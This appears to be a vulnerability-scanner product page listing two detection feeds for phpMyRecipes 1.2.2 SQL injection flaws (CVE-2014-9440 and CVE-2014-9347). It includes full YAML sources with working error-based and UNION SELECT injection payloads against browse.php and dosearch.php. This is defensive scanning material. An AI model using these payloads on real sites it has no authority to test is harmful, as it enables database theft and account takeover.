phpMyRecipes — 2 vulnerability checks

noctis ships 2 vulnerability checks for phpMyRecipes, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

phpMyRecipes browse.php 'category' SQL Injection

CVECVE-2014-9440
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/phpmyrecipes/CVE-2014-9440.yaml

Tests phpMyRecipes 1.2.2 for the unauthenticated SQL injection through the category parameter of browse.php, which is copied unquoted into the category queries. In the web root and in the /phpMyRecipes and /recipes directories, once index.php shows the phpMyRecipes footer, the feed requests browse.php with a category value that makes the database raise an XPath error carrying the product of two random numbers, which the page prints in its database error report. On servers without the EXTRACTVALUE function, a UNION SELECT puts the same product, framed by a NOCTIS marker, in the category breadcrumb. The correct product in the page confirms that the database ran the injected query; the product is not part of the request, so a page that only echoes the URL is not reported. The probe reads no table row and changes nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/index.php
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{dir}}/browse.php?category=1%20AND%20extractvalue(1,concat(0x7e,(SELECT%20{{m.a}}*{{…
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request GET {{dir}}/browse.php?category=0%20UNION%20SELECT%20CONCAT(0x314e4f43544953,{{m.a}}*{{m.…
  9. Parses / computes the next value with a Rhai script
  10. Checks proof for ^(?:XPATH syntax error: ~[0-9]+|1NOCTIS[0-9]+END)$ → finding QoD 97: phpMyRecipes browse.php 'category' SQL Injection (CVE-2014-9440)

References:

Feed source — tests/vulnerabilities/phpmyrecipes/CVE-2014-9440.yaml
# phpMyRecipes browse.php 'category' SQL injection — CVE-2014-9440
#
# phpMyRecipes 1.2.2 (the last release, 2010; never fixed upstream) reads
# $category = $_GET['category'] in browse.php and pastes it unquoted into
#   GetCategoryNameByID($cat)   SELECT name   from categories WHERE id=$cat
#   GetCategoryParentByID($cat) SELECT parent from categories WHERE id=$cat
#   SELECT id,name from categories WHERE parent=$category ORDER BY name
# A failing sub-category query goes to dberror(), which prints mysql_error()
# in the page ("Text - <error>").
#
# Detection (benign, read-only), per candidate install directory
# ("", /phpMyRecipes, /recipes):
#   1. GET <dir>/index.php must show the ">phpMyRecipes" footer.
#   2. GET <dir>/browse.php?category=1 AND extractvalue(1,concat(0x7e,(SELECT <a>*<b>)))
#      The value starts with "1", so PHP 5 (mysql_* only exists up to PHP 5)
#      compares it equal to 1 and skips the breadcrumb loop; the sub-category
#      query then fails with "XPATH syntax error: '~<a×b>'", printed by
#      dberror(). MySQL / MariaDB fold the constant, so it errors even on an
#      empty categories table.
#   3. If that shows nothing (MySQL < 5.1 has no EXTRACTVALUE), a UNION through
#      the breadcrumb: category=0 UNION SELECT CONCAT(0x314e4f43544953,<a>*<b>,0x454e44)
#      The name lookup returns 1NOCTIS<a×b>END, printed as the breadcrumb; the
#      parent lookup returns the same value, which PHP 5 compares equal to 1,
#      so the loop ends after one pass (a value PHP reads as another number
#      would make the stock loop spin until max_execution_time).
#   The product of two random 6-digit operands is computed by the database and
#   appears nowhere in the request, so a page that only echoes the URL cannot
#   produce it. QoD 97. No row is read or changed.
#
# Limits: the app needs the mysql_* functions (PHP <= 5.6). On PHP 8 behind a
# mysql_* polyfill, PHP compares "1 AND ..." != 1 as strings, the breadcrumb
# lookups fail and return 0, and the stock loop spins until max_execution_time:
# no finding there (the request still ends at the server's time limit).
#
# Improvements over the source NASL: the NASL lists this CVE but only probes
# dosearch.php (CVE-2014-9347, sibling feed phpmyrecipes/CVE-2014-9347.yaml);
# this feed proves the browse.php injection itself.
#
# CVSS: CVE-2014-9440 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_phpmyrecipes_sql_inj_vuln_dec14.nasl
# (OID 1.3.6.1.4.1.25623.1.0.805304, GPL-2.0-only).
uid: d22e5fd7-12db-44fb-a2b2-c7ab3aca041e
name: "phpMyRecipes browse.php 'category' SQL Injection (CVE-2014-9440)"
description: |
  Tests phpMyRecipes 1.2.2 for the unauthenticated SQL injection through the
  category parameter of browse.php, which is copied unquoted into the category
  queries. In the web root and in the /phpMyRecipes and /recipes directories,
  once index.php shows the phpMyRecipes footer, the feed requests browse.php
  with a category value that makes the database raise an XPath error carrying
  the product of two random numbers, which the page prints in its database
  error report. On servers without the EXTRACTVALUE function, a UNION SELECT
  puts the same product, framed by a NOCTIS marker, in the category
  breadcrumb. The correct product in the page confirms that the database ran
  the injected query; the product is not part of the request, so a page that
  only echoes the URL is not reported. The probe reads no table row and
  changes nothing.
cves: [CVE-2014-9440]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [phpmyrecipes, php, mysql, sqli, error-based, union, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-9440"
  - "https://www.exploit-db.com/exploits/35591"
  - "https://sourceforge.net/projects/php-myrecipes/"
  # OpenVAS/Greenbone NASL 2014/gb_phpmyrecipes_sql_inj_vuln_dec14.nasl (GPL-2.0-only)

steps:
  # Random operands; the expected proofs are computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  - id: mint-marker
    action: script
    code: '"1NOCTIS" + prod + "END"'
    store_as: marker

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── Loop group: every step below runs once per candidate install dir ─────
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/phpMyRecipes", "/recipes"]
      var: dir

  - id: init-xp-r
    action: set_var
    var_name: xp_r
    var_value: {status: 0, body: ""}

  - id: init-un-r
    action: set_var
    var_name: un_r
    var_value: {status: 0, body: ""}

  - id: fetch-home
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    store_as: home

  - id: gate
    action: script
    code: |
      type_of(home.body) == "string" && stridx(home.body, ">phpMyRecipes") >= 0
    store_as: is_pmr

  # category=1 AND extractvalue(1,concat(0x7e,(SELECT <a>*<b>)))
  - id: inject-xpath
    action: http_request
    method: GET
    path: "{{dir}}/browse.php?category=1%20AND%20extractvalue(1,concat(0x7e,(SELECT%20{{m.a}}*{{m.b}})))"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_pmr == true'
    store_as: xp_r

  # The error text may be HTML-escaped by a front end; accept the quote in any
  # common form, or none.
  - id: verdict-xpath
    action: script
    code: |
      if is_pmr == true && type_of(xp_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod, xp_r.body) != "" { "XPATH syntax error: ~" + prod } else { "" }
    store_as: proof

  # category=0 UNION SELECT CONCAT(0x314e4f43544953,<a>*<b>,0x454e44)
  # (0x314e4f43544953 = "1NOCTIS", 0x454e44 = "END")
  - id: inject-union
    action: http_request
    method: GET
    path: "{{dir}}/browse.php?category=0%20UNION%20SELECT%20CONCAT(0x314e4f43544953,{{m.a}}*{{m.b}},0x454e44)"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_pmr == true && proof == ""'
    store_as: un_r

  - id: verdict-union
    action: script
    code: |
      if proof != "" { proof }
      else if is_pmr == true && type_of(un_r.body) == "string" && stridx(un_r.body, marker) >= 0 { marker }
      else { "" }
    store_as: proof

  - id: report
    action: match
    source: proof
    pattern: "^(?:XPATH syntax error: ~[0-9]+|1NOCTIS[0-9]+END)$"
    on_match:
      finding:
        title: "phpMyRecipes browse.php 'category' SQL Injection (CVE-2014-9440)"
        description: "An unauthenticated GET to browse.php with SQL appended to the category parameter made the database compute the product of two random numbers, which came back in the page. Any query the database user may run can be injected the same way, including reading the users table with the account passwords."
        remediation: "phpMyRecipes is no longer maintained and no fixed release exists. Remove the application or restrict access to it, or patch browse.php to cast the category and from parameters to integers before they reach a query."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/browse.php with an injected category computing {{m.a}}*{{m.b}} returned the database-computed result: {{proof}}"
      stop: true

phpMyRecipes dosearch.php SQL Injection

CVECVE-2014-9347
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/phpmyrecipes/CVE-2014-9347.yaml

Tests phpMyRecipes 1.2.2 for the unauthenticated SQL injection in the recipe search (dosearch.php), whose form fields are copied into the search query. In the web root and in the /phpMyRecipes and /recipes directories, once index.php shows the phpMyRecipes footer, the feed posts a search whose words_exact field closes the full-text search string and appends a UNION SELECT asking the database to compute the product of two random numbers framed by a NOCTIS marker. When the server escapes quotes, the same UNION is sent through the categories[] field, which the query uses as a number. The marker with the correct product among the search results confirms that the database ran the injected query; the product is not part of the request, so a page that only echoes the form is not reported. The probe reads no table row and changes nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/index.php
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request POST {{dir}}/dosearch.php with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request POST {{dir}}/dosearch.php with a crafted body
  9. Parses / computes the next value with a Rhai script
  10. Parses / computes the next value with a Rhai script
  11. Checks proof for ^NOCTIS[0-9]+END$ → finding QoD 97: phpMyRecipes dosearch.php SQL Injection (CVE-2014-9347)

References:

Feed source — tests/vulnerabilities/phpmyrecipes/CVE-2014-9347.yaml
# phpMyRecipes dosearch.php SQL injection — CVE-2014-9347
#
# phpMyRecipes 1.2.2 (the last release, 2010; never fixed upstream) builds the
# recipe search of dosearch.php from raw POST fields:
#   $wordsstr .= "\"" . $_POST{'words_exact'} . "\" ";
#   $wherestr  = "MATCH (name,instructions) AGAINST ('$wordsstr' IN BOOLEAN MODE)";
#   $wherestr .= " AND name LIKE \"%" . $_POST{'name_exact'} . "%\"";
#   foreach ($_POST['categories'] as $cat) $catstr = "category=$cat" ...;
#   $wherestr .= " AND ($catstr)";
#   mysql_query("SELECT id,name FROM recipes WHERE $wherestr ORDER BY name")
# and prints the name column of every row as a result link.
#
# Detection (benign, read-only), per candidate install directory
# ("", /phpMyRecipes, /recipes):
#   1. GET <dir>/index.php must show the ">phpMyRecipes" footer.
#   2. words_exact (the CVE's parameter, the published PoC's injection point):
#      n<a>' IN BOOLEAN MODE) UNION ALL SELECT 63,CONCAT(0x4e4f43544953,<a>*<b>,0x454e44)#
#      closes the AGAINST string and appends a two-column UNION whose name
#      column is NOCTIS<a×b>END.
#   3. If that shows nothing (magic_quotes_gpc escapes the quote), the same
#      UNION through categories[] (numeric context, no quote needed — the shape
#      the reference check sends): name_exact=n<a> &
#      categories[]=0)UNION ALL SELECT 63,CONCAT(0x4e4f43544953,<a>*<b>,0x454e44)#
#   The product of two random 6-digit operands is computed by the database and
#   appears nowhere in the request, so a page that only echoes the form cannot
#   produce it. QoD 97. No row is read or changed.
#
# Improvements over the source NASL: the NASL only probes categories[] with a
# fixed hex-literal marker, a parameter the CVE does not name; this feed probes the CVE's own words_exact parameter first, keeps categories[] as
# the magic_quotes-proof path, and uses a computed product as the proof.
#
# The sibling browse.php 'category' injection (CVE-2014-9440, listed by the same
# NASL) is covered by phpmyrecipes/CVE-2014-9440.yaml.
#
# CVSS: CVE-2014-9347 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_phpmyrecipes_sql_inj_vuln_dec14.nasl
# (OID 1.3.6.1.4.1.25623.1.0.805304, GPL-2.0-only).
uid: f6802a3a-e8be-474b-bea5-d10f2792f6b9
name: "phpMyRecipes dosearch.php SQL Injection (CVE-2014-9347)"
description: |
  Tests phpMyRecipes 1.2.2 for the unauthenticated SQL injection in the recipe
  search (dosearch.php), whose form fields are copied into the search query.
  In the web root and in the /phpMyRecipes and /recipes directories, once
  index.php shows the phpMyRecipes footer, the feed posts a search whose
  words_exact field closes the full-text search string and appends a UNION
  SELECT asking the database to compute the product of two random numbers
  framed by a NOCTIS marker. When the server escapes quotes, the same UNION is
  sent through the categories[] field, which the query uses as a number. The
  marker with the correct product among the search results confirms that the
  database ran the injected query; the product is not part of the request, so
  a page that only echoes the form is not reported. The probe reads no table
  row and changes nothing.
cves: [CVE-2014-9347]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [phpmyrecipes, php, mysql, sqli, union, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-9347"
  - "https://www.exploit-db.com/exploits/35365"
  - "https://sourceforge.net/projects/php-myrecipes/"
  # OpenVAS/Greenbone NASL 2014/gb_phpmyrecipes_sql_inj_vuln_dec14.nasl (GPL-2.0-only)

steps:
  # Random operands; the expected marker is computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
    store_as: m

  - id: mint-marker
    action: script
    code: '"NOCTIS" + (m.a * m.b) + "END"'
    store_as: marker

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: init-via
    action: set_var
    var_name: via
    var_value: ""

  # ── Loop group: every step below runs once per candidate install dir ─────
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/phpMyRecipes", "/recipes"]
      var: dir

  - id: init-we-r
    action: set_var
    var_name: we_r
    var_value: {status: 0, body: ""}

  - id: init-cat-r
    action: set_var
    var_name: cat_r
    var_value: {status: 0, body: ""}

  - id: fetch-home
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    store_as: home

  - id: gate
    action: script
    code: |
      type_of(home.body) == "string" && stridx(home.body, ">phpMyRecipes") >= 0
    store_as: is_pmr

  # words_exact = n<a>' IN BOOLEAN MODE) UNION ALL SELECT 63,CONCAT(0x4e4f43544953,<a>*<b>,0x454e44)#
  # (0x4e4f43544953 = "NOCTIS", 0x454e44 = "END" — no quote inside the UNION)
  - id: inject-words-exact
    action: http_request
    method: POST
    path: "{{dir}}/dosearch.php"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "words_all=&words_exact=n{{m.a}}%27+IN+BOOLEAN+MODE%29+UNION+ALL+SELECT+63%2CCONCAT%280x4e4f43544953%2C{{m.a}}*{{m.b}}%2C0x454e44%29%23&words_any=&words_without=&name_exact=&ing_modifier=2"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_pmr == true'
    store_as: we_r

  - id: verdict-words-exact
    action: script
    code: |
      if is_pmr == true && type_of(we_r.body) == "string" && stridx(we_r.body, marker) >= 0 { marker } else { "" }
    store_as: proof

  - id: via-words-exact
    action: script
    code: 'if proof != "" { "words_exact" } else { "" }'
    store_as: via

  # categories[] = 0)UNION ALL SELECT 63,CONCAT(0x4e4f43544953,<a>*<b>,0x454e44)#
  # name_exact makes the query take the " AND (category=...)" branch, whose
  # opening parenthesis the injected ")" closes.
  - id: inject-categories
    action: http_request
    method: POST
    path: "{{dir}}/dosearch.php"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "words_all=&words_exact=&words_any=&words_without=&name_exact=n{{m.a}}&categories%5B%5D=0%29UNION+ALL+SELECT+63%2CCONCAT%280x4e4f43544953%2C{{m.a}}*{{m.b}}%2C0x454e44%29%23&ing_modifier=2"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_pmr == true && proof == ""'
    store_as: cat_r

  - id: verdict-categories
    action: script
    code: |
      if proof != "" { proof }
      else if is_pmr == true && type_of(cat_r.body) == "string" && stridx(cat_r.body, marker) >= 0 { marker }
      else { "" }
    store_as: proof

  - id: via-categories
    action: script
    code: |
      if via != "" { via } else if proof != "" { "categories[]" } else { "" }
    store_as: via

  - id: report
    action: match
    source: proof
    pattern: "^NOCTIS[0-9]+END$"
    on_match:
      finding:
        title: "phpMyRecipes dosearch.php SQL Injection (CVE-2014-9347)"
        description: "An unauthenticated recipe search posted to dosearch.php with a UNION SELECT injected through the search form made the database compute the product of two random numbers, which came back as a search result. Any query the database user may run can be injected the same way, including reading the sessions table to take over logged-in accounts."
        remediation: "phpMyRecipes is no longer maintained and no fixed release exists. Remove the application or restrict access to it, or patch dosearch.php to escape the text fields with mysql_real_escape_string() and cast every categories[] and ingids[] value to an integer."
        confidence_delta: 0.65
        qod: 97
        evidence: "POST {{dir}}/dosearch.php with a UNION SELECT CONCAT(0x4e4f43544953,{{m.a}}*{{m.b}},0x454e44) in the {{via}} field returned the database-computed marker {{proof}}"
      stop: true

View these feeds on GitHub